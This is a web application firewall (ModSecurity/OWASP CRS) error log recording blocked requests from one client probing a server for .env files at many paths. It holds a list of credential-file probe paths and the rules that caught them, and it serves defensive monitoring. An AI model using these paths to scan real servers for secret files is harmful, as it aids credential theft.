[Wed Feb 25 06:04:51.091331 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/prod-env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/prod-env/.env&quot;] [unique_id &quot;aZ6C8-TWwZsZM3_RktVDCAAAAAU&quot;]
[Wed Feb 25 06:04:51.091620 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/prod-env/.env&quot;] [unique_id &quot;aZ6C8-TWwZsZM3_RktVDCAAAAAU&quot;]
[Wed Feb 25 06:04:51.091814 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/prod-env/.env&quot;] [unique_id &quot;aZ6C8-TWwZsZM3_RktVDCAAAAAU&quot;]
[Wed Feb 25 06:04:51.146665 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /back-end/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/back-end/app/.env&quot;] [unique_id &quot;aZ6C8-TWwZsZM3_RktVDCQAAAAU&quot;]
[Wed Feb 25 06:04:51.146953 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/back-end/app/.env&quot;] [unique_id &quot;aZ6C8-TWwZsZM3_RktVDCQAAAAU&quot;]
[Wed Feb 25 06:04:51.147159 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/back-end/app/.env&quot;] [unique_id &quot;aZ6C8-TWwZsZM3_RktVDCQAAAAU&quot;]
[Wed Feb 25 06:04:51.199855 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /back/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/back/.env&quot;] [unique_id &quot;aZ6C8-TWwZsZM3_RktVDCgAAAAU&quot;]
[Wed Feb 25 06:04:51.200150 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/back/.env&quot;] [unique_id &quot;aZ6C8-TWwZsZM3_RktVDCgAAAAU&quot;]
[Wed Feb 25 06:04:51.200359 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/back/.env&quot;] [unique_id &quot;aZ6C8-TWwZsZM3_RktVDCgAAAAU&quot;]
[Wed Feb 25 06:04:51.223176 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.back&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.back&quot;] [unique_id &quot;aZ6C87Zegw_qLbSTRXm5gQAAAAM&quot;]
[Wed Feb 25 06:04:51.223462 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.back&quot;] [unique_id &quot;aZ6C87Zegw_qLbSTRXm5gQAAAAM&quot;]
[Wed Feb 25 06:04:51.223646 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.back&quot;] [unique_id &quot;aZ6C87Zegw_qLbSTRXm5gQAAAAM&quot;]
[Wed Feb 25 06:04:51.266004 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.example&quot;] [unique_id &quot;aZ6C87Zegw_qLbSTRXm5ggAAAAM&quot;]
[Wed Feb 25 06:04:51.266285 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.example&quot;] [unique_id &quot;aZ6C87Zegw_qLbSTRXm5ggAAAAM&quot;]
[Wed Feb 25 06:04:51.266512 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.example&quot;] [unique_id &quot;aZ6C87Zegw_qLbSTRXm5ggAAAAM&quot;]
[Wed Feb 25 06:04:51.276359 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env.local&quot;] [unique_id &quot;aZ6C8-TWwZsZM3_RktVDCwAAAAU&quot;]
[Wed Feb 25 06:04:51.276643 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env.local&quot;] [unique_id &quot;aZ6C8-TWwZsZM3_RktVDCwAAAAU&quot;]
[Wed Feb 25 06:04:51.276831 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env.local&quot;] [unique_id &quot;aZ6C8-TWwZsZM3_RktVDCwAAAAU&quot;]
[Wed Feb 25 06:04:51.331431 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.sample&quot;] [unique_id &quot;aZ6C87Zegw_qLbSTRXm5gwAAAAM&quot;]
[Wed Feb 25 06:04:51.331751 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.sample&quot;] [unique_id &quot;aZ6C87Zegw_qLbSTRXm5gwAAAAM&quot;]
[Wed Feb 25 06:04:51.331992 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.sample&quot;] [unique_id &quot;aZ6C87Zegw_qLbSTRXm5gwAAAAM&quot;]
[Wed Feb 25 06:04:51.335392 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/config/.env&quot;] [unique_id &quot;aZ6C8-TWwZsZM3_RktVDDAAAAAU&quot;]
[Wed Feb 25 06:04:51.335626 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/config/.env&quot;] [unique_id &quot;aZ6C8-TWwZsZM3_RktVDDAAAAAU&quot;]
[Wed Feb 25 06:04:51.335785 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/config/.env&quot;] [unique_id &quot;aZ6C8-TWwZsZM3_RktVDDAAAAAU&quot;]
[Wed Feb 25 06:04:51.354924 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.save&quot;] [unique_id &quot;aZ6C87Zegw_qLbSTRXm5hAAAAAM&quot;]
[Wed Feb 25 06:04:51.355156 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.save&quot;] [unique_id &quot;aZ6C87Zegw_qLbSTRXm5hAAAAAM&quot;]
[Wed Feb 25 06:04:51.355313 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.save&quot;] [unique_id &quot;aZ6C87Zegw_qLbSTRXm5hAAAAAM&quot;]
[Wed Feb 25 06:04:51.651574 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/src/.env&quot;] [unique_id &quot;aZ6C8_jNQqDNAmB2zjqZlwAAAAY&quot;]
[Wed Feb 25 06:04:51.651887 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/src/.env&quot;] [unique_id &quot;aZ6C8_jNQqDNAmB2zjqZlwAAAAY&quot;]
[Wed Feb 25 06:04:51.652058 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/src/.env&quot;] [unique_id &quot;aZ6C8_jNQqDNAmB2zjqZlwAAAAY&quot;]
[Wed Feb 25 06:04:51.762328 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backendfinaltest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backendfinaltest/.env&quot;] [unique_id &quot;aZ6C8_jNQqDNAmB2zjqZmAAAAAY&quot;]
[Wed Feb 25 06:04:51.762652 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backendfinaltest/.env&quot;] [unique_id &quot;aZ6C8_jNQqDNAmB2zjqZmAAAAAY&quot;]
[Wed Feb 25 06:04:51.762876 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backendfinaltest/.env&quot;] [unique_id &quot;aZ6C8_jNQqDNAmB2zjqZmAAAAAY&quot;]
